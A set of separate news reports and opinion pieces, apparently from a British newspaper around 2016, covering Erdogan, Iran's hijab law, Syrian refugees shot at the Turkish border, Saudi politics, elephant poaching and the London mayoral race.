Istanbul square grew into mass protests against a heavy-handed police crackdown and what opponents called Erdogan's authoritarian policies. "This is a protest organized by extremist elements," Erdogan said before departing on a trip to North Africa. "We will not give away anything to those who live arm-in-arm with terrorism," he said. Sascha Schuermann/Getty Images Recep Tayyip Erdogan's most controversial quotes The Turkish President's craziest quotes In March 2014, Erdogan accused a 15-year-old boy who died from injuries sustained in last year's anti-government protests of being linked to terrorism. Berkin Elvan, who became a symbol of anti-government protests, had gone to pick up bread when he was hit with a teargas canister - sending him into a nine-month coma before he passed away. In a speech broadcast on state TV, Erdogan said of Berkin: "This kid with steel marbles in his pockets, with a slingshot in his hand, his face covered with a scarf, who had been taken up into terror organisations, was unfortunately subjected to pepper gas. How could the police determine how old that person was who had a scarf on his face and was hurling steel marbles with a slingshot in his hand? ADEM ALTAN/AFP/Getty Images

Justice Minister Ard van der Steur told the Dutch Parliament he looking to see if the government can give the proposal priority.

Mr van der Steur did reject D66's suggestion to overturn the law prohibiting insults towards the Dutch Monarch.

The last person to be prosecuted for insulting a foreign head of state was student journalist Geert Mak in 1968 who compared US President Lyndon B. Johnson to a "Nuremberg war criminals".

Dutch comedian Hans Teeuwen has showed his support for Bohmermann by making his own sexual insults on RTL News toward President Erdogan.
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As more and more Western tourists visit Iran, foreign women are being urged to break the countrys strict Islamic dress code to make a stand about the restrictive laws.

It is illegal for women to go out in public without wearing headscarf in the country, where thousands of undercover agents and morality police patrol the streets to check for violations.

Women found to have their hair or bodies inadequately covered can be publicly admonished, fined or even arrested.

An Iranian policewoman (L) warns a woman about her clothing and hair during a crackdown to enforce Islamic dress code in Tehran, Iran (Getty Images)

But thousands of Iranians have been risking punishment by taking off their hijabs (headscarves) in public and snapping photos as part of a defiant online campaign to counter the oppressive" law.

Now, the founder of My Stealthy Freedom is urging Western tourists to join them in a show of solidarity.

Masih Alinejad, who left Iran in 2009 and now works as a journalist in New York, said non-Muslims should join the fight against compulsory dress codes.

The Islamic Republic that demands even non-Muslims visiting Iran to wear the hijab, she told The Independent. When compulsory hijab affects all women, then all women should raise their voice.

Ms Alinejad said she was inspired by the actions of an Air France cabin crew who refused to fly to Iran after being ordered to wear headscarves upon arrival in Tehran earlier this month.

Iranian journalist Masih Alinejad (Rex)

The airline has now given staff the option to opt out of flights to the Iranian capital if they do not want to comply with the rule, which also applies during stop-overs in Saudi Arabia.

Many international carriers have resumed flights to the country since the UK, US and other nations declared it formally safe for travel after an agreement on the governments nuclear ambitions was struck.

After decades of isolation, Iran after the nuclear deal is seen as a cool place to visit, Ms Alinejad.

The country is being promoted as one of the last placed on earth not to be touched by crass consumerism and commercialism.

Iran is a beautiful country but let's not kid ourselves, it's not heaven for women. As more people visit Iran, the women in particular will gain a sense of the issue.

One of the Western tourists who joined the My Stealthy Freedom campaign against Iran's hijab law (AFP/Getty Images)

The campaigner said she had received emails from female tourists from the UK, Belgium, Sweden and other nations saying they had felt uncomfortable being forced to wear the hijab on their holidays.

Many women travelling to the country have already responded to her call to share a stealthy freedom photo of themselves with the hashtag #SeeYouInIranWithoutHijab

I thought it would be easy (to wear the headscarf) but after two weeks, my opinion really changed, a Belgian woman wrote. I hated it every minute of the day.

Another tourist said the restrictions made her feel like a slaves, while another woman wrote that she felt unable to express herself.

All the women whose pictures are published on the My Stealthy Freedom Facebook page, which has grown to have almost a million followers in two years, have since left Iran.

One of the Western tourists who joined the My Stealthy Freedom campaign against Iran's hijab law (My Stealthy Freedom)

Asked about the risk women are taking to join the campaign, Ms Alinejad said she believes Western women are less likely to be punished than Iranians.

Iran wants to attract tourists and in general will turn a blind eye to discretions by them, she added.

Travel advice issued to British citizens by the Foreign and Commonwealth Office urges visitors to respect Irans traditions and laws, while ensuring actions do not offend.

It recommends that women wear headscarves in public places, along with trousers or full-length skirts and long-sleeved tunics and coats.

Relationships between non-Muslim men and Muslim women are also illegal, in Iran and punishable by whipping (for the women), although few Westerners have been prosecuted.

The countries with anti-women laws Show all 5 1 /5 The countries with anti-women laws The countries with anti-women laws The countries with anti-women laws The countries with anti-women laws The countries with anti-women laws The countries with anti-women laws

Homosexuality, adultery and sex outside of marriage also against Iranian law and can carry the death penalty, while access to Western magazines and films is strictly controlled.

Alcohol is also strictly forbidden, with exceptions covering religious minorities but not foreigners, although secret drinking is relatively widespread.

For Ms Alinejad, the restrictions imposed on womens dress are a key part of the governments discriminatory laws and should be opposed by Western politicians and diplomats visiting the country.

Iranian authorities have labelled her a heretic, whore and CIA operative for her activism but has vowed to continue her fight for womens rights.

I feel that we are raising awareness every day, Ms Alinejad said.

Our campaign is having an impact inside Iran and even some politicians, including elected officials, agree with us that hijab should be a choice.
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A Syrian warplane has been shot down near the capital of Damascus, Isis have claimed.

The fighter jet crashed southwest of Damascus airport, Syrian Observatory for Human Rights said, after it had flown over territory occupied by Isis.

It is unclear if the plane was bought down by gunfire or suffered a technical fault, the UK-based monitoring group said.

The pilot's fate is unknown.

In pictures: Syria air strikes (2014) Show all 20 1 /20 In pictures: Syria air strikes (2014) In pictures: Syria air strikes (2014) Syria Syrian citizens check a damaged house that targeted by the coalition airstrikes, in the village of Kfar Derian, a base for the al-Qaida-linked Nusra Front, a rival of the Isis group, between the northern province of Aleppo and Idlib In pictures: Syria air strikes (2014) Syria A Syrian boy (L) looking at a destroyed car that activists say was targeted by the coalition airstrikes, in the village of Kfar Derian, a base for the al-Qaida-linked Nusra Front, a rival of the Islamic State group, between the northern province of Aleppo and Idlib In pictures: Syria air strikes (2014) Syria Parts of a missile that activists say was fired by coalition airstrikes, in the village of Kfar Derian, a base for the al-Qaida-linked Nusra Front, a rival of the Isis group, between the northern province of Aleppo and Idlib In pictures: Syria air strikes (2014) Syria Tthe guided-missile destroyer USS Arleigh Burke (DDG 51) launching Tomahawk cruise missiles against Isis targets In pictures: Syria air strikes (2014) Syria The USS Arleigh Burke (DDG 51) launches a Tomahawk cruise missiles in the Red Sea, to conduct strike missions against Isis group targets in Syria In pictures: Syria air strikes (2014) Syria The guided-missile cruiser USS Philippine Sea (CG 58) launching a Tomahawk cruise missile against Isis targets in Syria, as seen from the aircraft carrier USS George H.W. Bush (CVN 77) in the Arabian Gulf In pictures: Syria air strikes (2014) Syria US navy sailors standing watch on the bridge while Tomahawk cruise missiles are launched against Isis targets in Syria, aboard the guided-missile cruiser USS Philippine Sea (CG 58), in the Arabian Gulf In pictures: Syria air strikes (2014) Syria An F/A-18C Hornet, attached to Strike Fighter Squadron (VFA) 87 prepares to launch from the flight deck of the aircraft carrier USS George H.W. Bush (CVN 77) in the Arabian Gulf, to conduct strike missions against Isis group targets AFP/Robert Burck In pictures: Syria air strikes (2014) Syria The US-led airstrikes in Syria against Isis targets in and around the city of Raqqa In pictures: Syria air strikes (2014) Syria A fighter from the Isis group holds a piece of what the IS is saying is a US drone that crashed into a communications tower in the Syrian city of Raqqa In pictures: Syria air strikes (2014) Syria Fighters from the Isis organisation pray at the spot where the jihadist group said a US drone crashed into a communications tower in the Syrian city of Raqqa In pictures: Syria air strikes (2014) Syria Fighters from the Isis group load a van with parts that they said was a US drone that crashed into a communications tower in the Syrian city of Raqqa In pictures: Syria air strikes (2014) Syria Fighters from the Isis group load a van with parts that they said was a US drone that crashed into a communications tower in Raqqa In pictures: Syria air strikes (2014) Syria Fighters from the Isis group gesture as they load a van with parts that they said was a US drone that crashed into a communications tower in Raqqa. A US-led coalition on carried out its first air strikes and missile attacks against jihadist positions in Syria, with Damascus saying it had been informed by Washington before the operation began In pictures: Syria air strikes (2014) Syria A Syrian man rides his bike past a communications tower that was destroyed after a US drone crashed into it, according to fighters with the Isis group, in the Syrian city of Raqqa In pictures: Syria air strikes (2014) Syria People inspect a shop damaged after what Isis militants say was a U.S. drone crashed into a communication station nearby in Raqqa In pictures: Syria air strikes (2014) Syria A man holds the remains of what Isis militants say was a U.S. drone which crashed in Raqqa In pictures: Syria air strikes (2014) Syria Resident gather in the back of a van the remains of what Isis militants say was a drone which crashed in Raqqa In pictures: Syria air strikes (2014) Syria A man inspects the remains of what Isismilitants say was a U.S. drone which crashed into a communication tower in Raqqa In pictures: Syria air strikes (2014) Syria A man inspects the remains of what Isis militants say was a U.S. drone which crashed in Raqqa

Isis claimed the plane had been shot down, but the terror group did not claim responsibility.

Earlier, Islamist rebel-group Jaysh al-Islam said a Syrian warplane crashed near the town of Bir al-Qasab due to a technical fault, shortly after taking off from Dumayr air base.

Additional reporting by Reuters
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Women and children are among eight Syrian refugees reportedly shot dead by Turkish border guards while trying to reach safety.

Footage obtained by The Times showed survivors of the alleged attack fleeing down a mountain path for treatment to their injuries.

One man was seen carrying his young son, who appeared to be bleeding heavily from gunshot wounds in both legs.

Syrian refugees run away as Turkish soldiers use water cannon to move them away from fences at the Turkish border near the Syrian town of Tal Abyad, at Akcakale in Sanliurfa province, on June 13, 2015 (BULENT KILIC/AFP/Getty Images)

Abdmunem Kashkash, a lawyer from Aleppo who was with the group but escaped injury, said they had been repelled by gunfire several times before attempting the crossing near the Syrian town of Khirbet.

There was one little girl who was shot and we could not do more for her for four hours, until nightfall, he told The Times. An old man and woman are missing - they have probably been killed too.

The UN High Commissioner for Refugees (UNHCR) said it was investigating Sundays reported killings.

The UNHCR is concerned about such reports but cannot ascertain the authenticity at this stage, he told The Independent.

We are seeking further information on such concerning reports and we continually advocate for broader access to safety for civilians fleeing conflict in Syria.

Turkish soldiers stand guard as Kurdish people wait for their relatives who wait near fences on the Syrian border on June 26, 2015 in Suruc, Turkey (AFP/Getty Images)

We understand the complex security issues at play in managing a very long border in a volatile region, and we encourage authorities to allow civilians in need of international protection to seek safety.

The agency said it was unable to monitor the full length of Turkeys 500 mile-long border with Syria, which mostly backs on to conflict zones mostly controlled by Kurdish rebels, Isis and the opposition.

The alleged shooting is the latest in a series of reported attacks on Syrian refugees by border forces in Turkey, which is to receive millions of Euros as part of a deal with the EU aiming to slow boat crossings to Greece.

More than 2.7 million Syrians are already living in Turkish territory, where some of the new funding is being used to improve conditions at squalid and overcrowded refugee camps.

Families who fled the worsening violence in Aleppo last month told The Independent that Turkish police were regularly opening fire.

Turkey's two million Syrian refugees Show all 11 1 /11 Turkey's two million Syrian refugees Turkey's two million Syrian refugees There are already over 2.5 million Syrian refugees in Turkey, but their current camps can only hold 200,000 people ADEM ALTAN/AFP/Getty Images Turkey's two million Syrian refugees Turkish citizens protest a new deal, also criticised by human rights activists, which will see refugees who arrived in Greece after March 20 be sent back to Turkey AP Photo/Emre Tazegu Turkey's two million Syrian refugees An estimated 80% of Syrian refugee children already in Turkey are unable to attend school BULENT KILIC/AFP/Getty Images Turkey's two million Syrian refugees Refugee children beg for water near the Turkey-Syria border. Turkey has been accused of illegally deporting asylum-seekers back to Syria BULENT KILIC/AFP/Getty Images Turkey's two million Syrian refugees In Turkey, no-one from outside Europe is legally recognised as a refugee, meaning the 2016 deportations may not meet international legal standards for protecting vulnerable people BULENT KILIC/AFP/Getty Images Turkey's two million Syrian refugees A refugee child cries as she is searched by police at the Syria-Turkey border, where 16 refugees (including three children) have been shot dead in the last four months BULENT KILIC/AFP/Getty Images Turkey's two million Syrian refugees Many refugees are living rough on the streets of cities such as Istanbul or Ankara (pictured) ADEM ALTAN/AFP/Getty Images Turkey's two million Syrian refugees Turkish soldiers use water cannon on Syrian refugees BULENT KILIC/AFP/Getty Images Turkey's two million Syrian refugees Syrian refugees shelter from rain in the streets of Istanbul BULENT KILIC/AFP/Getty Images Turkey's two million Syrian refugees A derelict building housing Syrian refugees in Istanbul Carl Court/Getty Images Turkey's two million Syrian refugees Turkey houses around half of all the refugees who have currently fled Syria Carl Court/Getty Images

A young woman called Fatima said she saw border guards shoot a young girl. She didnt speak Turkish so didnt understand when they shouted Get away! she recalled. The guards opened fire.

The UK-based Syrian Observatory for Human Rights claimed that at least 16 people seeking sanctuary in Turkey had been shot dead by the end of March, including three children.

Its in all areas. It happens to people coming from Idlib, Aleppo, Isis areas, Kurdish areas, a spokesperson told The Independent.

Humanitarian organisations and doctors have reported shootings for several months, as well as routine beatings and asylum seekers being rounded up and forced back into Syria.

Amnesty International said up to 100 Syrian men, women and children had been expelled on a near-daily basis since January in a violation of Turkish, EU and international law.

 Thousands of displaced Syrians flee ISIL attacks

Turkey is not a safe country for Syrian refugees and is getting less safe by the day, said John Dalhuisen, its director for Europe and Central Asia.

Far from pressuring Turkey to improve the protection it offers Syrian refugees, the EU is in fact incentivising the opposite.

Human Rights Watch called on Turkey to stop shooting at Syrians and allow them to reach safety as Isis closed in on border camps housing thousands of refugees earlier this month.

As civilians flee Isis fighters, Turkey is responding with live ammunition instead of compassion, said Gerry Simpson, the groups senior refugee researcher.

Shootings have also been reported at other borders during a crackdown on the flow of refugees across Europe.

A man from Afghanistan was shot dead by police in Bulgaria in October in what border officials said was an accident as they attempted to arrest a group of 50 migrants.


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Student protesters at the University of Edinburgh have said the institution is to take disciplinary action against them.

The move comes after a group of demonstrators occupied the universitys main finance office earlier this month in a bid to pressure the institution to divest from fossil fuels.

In an online statement on Thursday, the demonstrators said: Following our picket of Charles Stewart House on 8 April, the university is taking disciplinary action against People and Planet under the student code of conduct.

Recommended Read more Students in Edinburgh occupy building over fossil fuel divestment

The People and Planet movement says it is the largest student network in Britain campaigning to end world poverty, defend human rights, and protect the environment.

The students expressed disappointment at the fact that, after a year-long campaign involving around 50 students participating in direct action for ethical investment, the university had singled out just six students for further investigation.

The group said: The only evidence they are using against us is one picture found on social media of our peaceful protest.

The top 10 universities in the UK Show all 10 1 /10 The top 10 universities in the UK The top 10 universities in the UK 1. University of Oxford The top 10 universities in the UK 2. University of Cambridge The top 10 universities in the UK 3. Imperial College London The top 10 universities in the UK 4. University College London The top 10 universities in the UK 5. London School of Economics and Political Science The top 10 universities in the UK 6. University of Edinburgh The top 10 universities in the UK 7. Kings College London The top 10 universities in the UK 8. University of Manchester The top 10 universities in the UK 9. University of Bristol The top 10 universities in the UK 10. Durham University

After a week of occupation and protest, the students announced on 8 April they had left, adding: But we blockaded and shut down the building on the way out.

In their statement on Thursday, though, the students said: Despite constantly stating that the university defends the rights of students to peacefully protest, the inconsistency with which it is applying its code of conduct makes it clear this is an attempt to scare people away from taking meaningful action against the university.

The students also accused the university of using up time and resources on intimidating students as opposed to making a commitment to full divestment, adding: It is a telling sign of a nationwide crackdown on political dissent.

We will fight this disciplinary action and our campaign continues in full force. We urge everyone to spread the word about this attack on student activism and dissent.

In a statement to the Independent, however, a university spokesman said no one had been disciplined at this moment.

He added: An investigation has begun into allegations of misconduct during recent protests at Charles Stewart House.

Although the university respects the students right to peaceful and lawful protest, their behaviour is governed - at all times - by the code of student conduct.

The right to protest must be balanced with other university responsibilities, such as the right of employees to work. Any allegation of obstructing staff will be taken seriously.

The Independent has contacted People and Planet Edinburgh for further comment.
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Q In Sydney I received an email from Etihad asking I would like to bid for an upgrade on the journey home to Heathrow via Abu Dhabi. I put the in lowest bid for the sector from Abu Dhabi to London, gave my debit card number and heard nothing. When I tried to check in online the system said there was a problem. I contacted the airlines Sydney office and was informed was the problem was connected to an upgrade. When I was informed of the cost, I said No. I was then able to check in and was given economy boarding passes for Sydney-Abu Dhabi and Abu Dhabi-London.

At Abu Dhabi the Etihad desk informed me I had been given an upgrade. Back in UK I found this was not a gift and my debit card had been billed for 810. I was furious about this and have contacted airline to no avail. They were told verbally by me on the morning of my flight that I did not wish to take up the upgrade. My bank says it is not able to help as the service had been provided. Your view?

Susan Woods

A Etihad is one of several airlines that invites bids from economy passengers for upgrades to business class (with a few exceptions, mainly those with the very cheapest tickets). It works for passengers who are seeking some extra comfort on a long haul but dont want to pay the normal business-class fare. And it works for an airline by generating extra revenue at negligible additional cost - with little risk of cannibalising existing business-class revenue, because of the degree of uncertainty.

Etihad makes clear that if you put in a bid at a particular price and do not withdraw it before the airline decides to award you the upgrade, then you are obliged to pay for it: If your Offer is accepted before you cancel or amend your Offer, you are legally bound to complete payment for the price stated in your original Offer.

Every day, our travel correspondent Simon Calder tackles readers questions. Just email yours to s@hols.tv or tweet @simoncalder
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Next week African governments, business leaders and conservationists will meet in Kenya to address the poaching crisis at the inaugural gathering of the Giants Club, the conservation initiative backed by The Independent.

Founded by the presidents of Gabon, Uganda, Botswana and Kenya, the club aims to protect 50 per cent of Africas elephants by 2020. Members have pledged to help each other bolster frontline protection measures and reverse the decline of the species caused by rampant illegal hunting and ceaseless demand for ivory in the Far East.

Recommended Read more African leaders to gather in Kenya to tackle elephant poaching crisis

An estimated 35,000 elephants have been killed every year since 2010 and the rate shows no sign of letting up. Conservationists warn that without urgent action, extinction could be just a generation away for Africas elephants.

Here are the first actions the Giants Club is set to take to help each country in their battle against poaching.

Gabon

Almost entirely covered by thick rainforest, Gabon is home to about twothirds of Africas forest elephants despite having only 12 per cent of the subspecies preferred habitat. For half a decade Gabon has battled poachers in the north-east of the country. Over five years, the Giants Club hopes to help it double its national parks agency staff, develop an intelligence-led 60-strong rapid-reaction force  including an elite pygmy unit for tracking poachers in the forests  and promote investment in the tourism infrastructure to create sustainable income for locals.

A scientific unit specialising in elephant monitoring and research is also planned. Gabons President Ali Bongo told The Independent: As a leader committed to creating equal chances for my people, I am determined to stamp out poaching.

Botswana

Having committed a larger proportion of its land to conservation than any other country in Africa, Botswana has made great strides in protecting its biodiversity. The Giants Club is to work with Tlhokomela, Botswanas endangered wildlife trust, to help build frontline protection capacity to protect the continents largest elephant population in Africa  as well as its rhinos  from the escalating threat of poaching that is threatening the nations critical importance as Africas ark.

Anti-poaching rangers pile up elephant ivory onto a pyre, at Nairobi's national park

Uganda

Home to some of the most beautiful, unsullied wildlife ranges in Africa, Uganda has had relative success in protecting elephants. The Giants Club will work with the Ugandan Wildlife Authority to build on this, by aiding teams tackling wildlife crime, creating a special operations unit, and commissioning a conservation investment strategy to boost national parks, tourism and community wildlife areas.

Plans are to be discussed for an electric fence to be built around Murchison Falls National Park.
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Harriet Tubman, a former slave in the American Civil War era, freed more than 800 slaves from captivity during her lifetime. She was nicknamed Moses for her efforts, and it seems almost natural that we should honour her heroics  acts which symbolize the universal desire for freedom  by putting her face on our banknotes.

Although African-Americans are celebrating this new recognition of our 500-year long struggle against white settler colonial violence, the nature of that violence should give us some pause. There is, after all, a troubling relationship between African slaves and money through the history of chattel slavery.

Chattel slavery in the European colonial era was unique two ways from other earlier (and many contemporary) forms of slavery. First, chattel slaves were legally considered property of the owner. Second, the status of slave was passed down from mother to child.

For the US economy before the Civil War, slaves were very important commodities and forms of capital for both individuals and institutions. Enslaved Africans  men and women like Harriet Tubman  were considered equivalent to, and used as, a kind of currency or investment in the early American economy.

Slaves were used to pay debts. Many prominent financial institutions, such as Bank of America, JP Morgan Chase and Aetna, insured or dealt in transactions involving slaves, seizing them from their owners for not paying back loans.

More disturbing than slave insurance, many slave owners banked on the birthright (or more appropriately birth curse) of slave status to increase their fortunes by breeding enslaved people with each other.

The logic of slave breeding is the same as investment, where one puts capital into a stock, bond or fund to produce more capital. The children of slaves didnt have to be paid for and could work on the plantation or be sold for profit to others in need of slave labor. This practice became more important in the US after Thomas Jefferson banned slave imports in 1808.

Considering how the slave owners and slave catchers who Harriet Tubman struggled against viewed her and those she freed, putting her face on the currency of the nation that considered her equal to that piece of paper is more of an affront than an honor.

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Tubman and those she helped free struggled against the notion that they were no more than tools or assets to be used by racial capitalism for the cultivation of land that they bloodily murdered indigenous peoples for. They struggled against a system where they were told that their highest aspiration was to become a more valuable resource to their masters  in Monopoly terms, a Boardwalk not a Mediterranean Avenue, a Mayfair instead of the Old Kent Road.

If people want to truly honor Tubman and her legacy they should consider how our society can combat the current manifestation of that same slave-as-capital logic. African-American contributions to American culture are consumed and loved by many Americans, but that same love is no longer reflected when African-Americans stand up and resist police brutality against them.

If America learned to love black people as much as they love black culture, that would be a true honour to the life and struggle of Harriet Tubman.

William Jamal Richardson is a PhD student at the Department of Sociology at Northwestern University researching the legacies of settler colonialism in the US. He also is the founder and editor of Rebel Researchers Collective
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Foreign leaders visiting King Salman of Saudi Arabia have noticed that there is a large flower display positioned just in front of where the 80-year-old monarch sits. On closer investigation, the visitors realised that the purpose of the flowers is to conceal a computer which acts as a teleprompter, enabling the King to appear capable of carrying on a coherent conversation about important issues.

One visiting US delegation meeting with King Salman recently observed a different method of convincing visitors  or at least television viewers watching the encounter  that he can deal with the escalating crises facing Saudi Arabia. The king did not look at the group but at a giant television screen hanging from the ceiling of the room on which was appearing prompts. Simon Henderson, the Saudi expert at the Washington Institute for Near East Policy, who tells the story, writes that off to one side in the room was an aide who furiously hammered talking points into a keyboard".

Of course, King Salman is not the only world leader past or present whose inability to cope has been artfully concealed by aides and courtiers. But eyewitness accounts of his incapacity does put in perspective the claim by the White House that President Obamas visit to Saudi Arabia and two hour meeting with the king on 20 April was cordial and cleared the air after a troubled period in Saudi-US relations.

 Obama to meet Saudi king in Riyadh amid strains

It is hardly a secret that real authority is shifting to Crown Prince Muhammad bin Nayef and his son, Deputy Crown Prince Muhammad bin Salman. But the power vacuum does help explain the bizarre and self-destructive nature of present-day Saudi foreign policy that suddenly shifted from cautious use of Saudi Arabias vast oil wealth to further its aims, while always keeping its options open, to a militarised and confrontational pursuit of foreign policy objectives.

It is not exactly that the Saudi's priorities have changed, but that the means being used to achieve them are far riskier than in the past. Since King Salman succeeded to the throne, Saudi Arabia has escalated its involvement in the war in Syria and engaged directly in an air war in Yemen. Both ventures have failed: greater support for armed opposition to President Bashar al-Assad in Syria early last year allowed the rebels to advance, but also provoked direct Russian military intervention, making Assad very difficult to displace. Bombing Yemen has not forced the Houthi opposition out of the capital Sanaa and, where the Houthis have retreated, there is chaos which al-Qaeda in the Arabian Peninsula has used to set up their own mini-state on the south coast of Yemen.

The Saudi leaders are more or less openly saying that they are waiting for the departure of President Obama from the White House to resume their status of most favoured ally of the US. The permanently anti-Saudi bias of the present administration, though usually verbal rather than operational, came across clearly in the interviews with Mr Obama and his top officials in the Atlantic by Jeffrey Goldberg. He says that in the White House these days, one occasionally hears Obamas National Security Officials pointedly reminding visitors that the large majority of 9/11 hijackers were not Iranian, but Saudi".

10 examples of Saudi Arabia's human rights abuses Show all 10 1 /10 10 examples of Saudi Arabia's human rights abuses 10 examples of Saudi Arabia's human rights abuses In October 2014, three lawyers, Dr Abdulrahman al-Subaihi, Bander al-Nogaithan and Abdulrahman al-Rumaih , were sentenced to up to eight years in prison for using Twitter to criticize the Ministry of Justice. AFP/Getty Images 10 examples of Saudi Arabia's human rights abuses In March 2015, Yemens Sunni President Abd-Rabbu Mansour Hadi was forced into exile after a Shia-led insurgency. A Saudi Arabia-led coalition has responded with air strikes in order to reinstate Mr Hadi. It has since been accused of committing war crimes in the country. Getty Images 10 examples of Saudi Arabia's human rights abuses Women who supported the Women2Drive campaign, launched in 2011 to challenge the ban on women driving vehicles, faced harassment and intimidation by the authorities. The government warned that women drivers would face arrest. Getty Images 10 examples of Saudi Arabia's human rights abuses Members of the Kingdoms Shia minority, most of whom live in the oil-rich Eastern Province, continue to face discrimination that limits their access to government services and employment. Activists have received death sentences or long prison terms for their alleged participation in protests in 2011 and 2012. Getty Images 10 examples of Saudi Arabia's human rights abuses All public gatherings are prohibited under an order issued by the Interior Ministry in 2011. Those defy the ban face arrest, prosecution and imprisonment on charges such as inciting people against the authorities. Getty Images 10 examples of Saudi Arabia's human rights abuses In March 2014, the Interior Ministry stated that authorities had deported over 370,000 foreign migrants and that 18,000 others were in detention. Thousands of workers were returned to Somalia and other states where they were at risk of human rights abuses, with large numbers also returned to Yemen, in order to open more jobs to Saudi Arabians. Many migrants reported that prior to their deportation they had been packed into overcrowded makeshift detention facilities where they received little food and water and were abused by guards. Getty Images 10 examples of Saudi Arabia's human rights abuses The Saudi Arabian authorities continue to deny access to independent human rights organisations like Amnesty International, and they have been known to take punitive action, including through the courts, against activists and family members of victims who contact Amnesty. Getty Images 10 examples of Saudi Arabia's human rights abuses Raif Badawi was sentenced to 1000 lashes and 10 years in prison for using his liberal blog to criticise Saudi Arabias clerics. He has already received 50 lashes, which have reportedly left him in poor health. Carsten Koall/Getty Images 10 examples of Saudi Arabia's human rights abuses Dawood al-Marhoon was arrested aged 17 for participating in an anti-government protest. After refusing to spy on his fellow protestors, he was tortured and forced to sign a blank document that would later contain his confession. At Dawoods trial, the prosecution requested death by crucifixion while refusing him a lawyer. Getty Images 10 examples of Saudi Arabia's human rights abuses Ali Mohammed al-Nimr was arrested in 2012 aged either 16 or 17 for participating in protests during the Arab spring. His sentence includes beheading and crucifixion. The international community has spoken out against the punishment and has called on Saudi Arabia to stop. He is the nephew of a prominent government dissident. Getty

But the Saudis are making a mistake in imagining that hostility to them will dissipate once Mr Obama leaves office. There is renewed pressure for the release of the unpublished 28 pages in the official Congressional 9/11 report on possible Saudi official complicity in the attacks, with CBSs influential and widely watched 60 Minutes devoting a segment to it, thereby putting it back on the political agenda. Saudi Arabia legitimises Islamic extremism and intolerance around the world, states an op-ed by Nicholas Kristof in The New York Times. If you want to stop bombings in Brussels or San Bernardino, then turn off the spigots of incitement from Saudi Arabia and other Gulf countries. Not only is there a growing anti-Saudi mood in the US, but it is one of the few political developments common to both parties.

In reality, the missing 28 pages in the 9/11 report on possible high level Saudi involvement may not be as categorical or as damaging to the Kingdom as the fact of their continued non-publication. The secrets that Saudi Arabia has most interest in hiding may be rather different, and relate to allegations that between 1995 and 2001, two senior Saudi princes spent hundreds of millions of state funds paying off Osama bin Laden not to make attacks within Saudi Arabia, but leaving him free to do whatever he wanted in the rest of the world.
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George Osborne announced at a parliamentary reception this week that the Government will increase its support for the Holocaust Educational Trust by 500,000. There will also be funding, he added, for a statue of Frank Foley, a British intelligence officer who helped thousands of Jews to escape from Nazi Germany.

The Chancellor spoke of the horrors of genocide, of taking his family to see the concentration camp at Dachau last month, and praised the courage of those who had helped the refugees at a time of peril. He raised a few smiles saying that some of the money pledged would come from fines paid by those who fixed the Libor rates  people who showed the worst of values to those who have the best of British values.

At the time Mr Osborne was speaking at event on Wednesday afternoon to commemorate the life of Major Foley, who has been described as the British Schindler, there was a Commons debate taking place on the motion that the mass murders of Yazidis, Christians and other minorities by Isis amounted to genocide. The Obama administration, the US Congress, the European parliament and the Council of Europe have all declared that the killing by Isis was genocide. The British government, however, was against MPs voting for the motion.

Foreign Office minister Tobias Ellwood presented  to jeers from all sides of the House  a convoluted argument. He said that he personally accepted that genocide had taken place, but that the matter should be left to the courts to decide

The government trotted out a line about how it has been long-standing practice not to give legal definitions to war crimes. But, in reality, there is wariness about the sensibilities of the Turks who do not want the term genocide introduced too much into international politics because it may be used for the Armenian massacres. Ankara has campaigned long and hard to prevent this from happening and there is a feeling that President Recep Tayyip Erdogan must not be offended while he is being persuaded to stop Syrian refugees coming into Europe from Turkey.

It was left to Frank Foleys nephew, speaking after Mr Osborne at the Attlee Suite in Portcullis House, to point out to the parliamentary TV monitor covering the debate that an on-going genocide taking place in 2016

Mr Ellwood failed to persuade the MPs. The Commons voted unanimously to recognise that genocide had taken place, but the Government, with its stance, can disassociate itself from the decision.

Robert Fisk: Living proof of the Armenian genocide Show all 3 1 /3 Robert Fisk: Living proof of the Armenian genocide Robert Fisk: Living proof of the Armenian genocide 334286.bin Robert Fisk: Living proof of the Armenian genocide 334287.bin Robert Fisk: Living proof of the Armenian genocide 334288.bin

Major Foley of MI6 carried out his mission to save lives in secret without telling his superiors. From what we know, it is unlikely that he would have received the backing of the Establishment. The journalist and author Michael Smith, who has written an excellent biography of Foley, pointed out that at the time the then head of MI6 was complaining to the Home Secretary that there were too many Jews coming into the country and warned that they were a menace to British society. The British Medical Association, meanwhile, lobbied to limit the numbers of Jewish doctors working here.

After the reception, an elderly Jewish lady described how her family had made their way to England via France. We have family members who did not get away, some ended up in Dachau, where Mr Osborne had just been to. Yes, there was anti-Semitism and anti-Semitism has not totally gone away, she said. I was born in this country, our family found refuge here. But that is something so many of the Syrian refugees are not going to get in the West it seems in the current climate; its a great pity.

What, we wondered, would Frank Foley have made of this?
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At the start of the year, Conservative Party HQ was gloomy about the partys prospects of retaining the London Mayors post at the 5 May election. It was obvious that Zac Goldsmith was no Boris Johnson, the man he aspired to succeed at City Hall. Goldsmith was running a lacklustre campaign and Sadiq Khan, the Labour candidate, was ahead in the opinion polls.

Some Tories spotted a silver lining, arguing that it might be good to lose in London as that would make it harder for Jeremy Corbyns Labour critics to oust him, boosting Tory prospects at the 2020 general election. But Downing Street was alarmed by such defeatist talk: running a city of eight million people is a big job and London is a huge political prize. Johnsons triumph in a natural Labour city in 2008 gave a big push to David Camerons drive to lead his party out of the wilderness. Retaining the mayors post in 2012 was another coup.

So Number 10 was instrumental in injecting some energy and discipline into the Goldsmith campaign. It turned to Crosby Textor Fullbrook, the firm headed by Lynton Crosby  the hard-nosed Australian strategist who helped Cameron win an unexpected majority at last years general election.

Mark Fullbrook is Goldsmiths campaign director. His presence was felt immediately when Goldsmith unveiled a four-point action plan on housing, transport, the environment and crime, echoing the Tories long-term economic plan last year. But the polls in the capital did not shift and, just as Cameron needed to undermine Ed Miliband by claiming he would be in the SNPs pocket in a hung parliament, the Tories decided to play the man as well as the ball in London.

They have seized on Khans alleged links to several Muslim extremists and helped hostile newspapers to uncover them. He had shared a platform with some unsavoury characters  which, if it were an offence, most politicians would be guilty of at some point. Khan insists that he represented some of the extremists as a solicitor; defended others as chair of Liberty, the human rights group, and met others as MP for Tooting  including Suliman Gani, an imam at the local Islamic Centre.

The Tory attacks were raised to new decibels on Wednesday when Cameron said at Prime Ministers Questions that Khan had appeared on a platform nine times with Gani who, he claimed, supports IS (Isis).

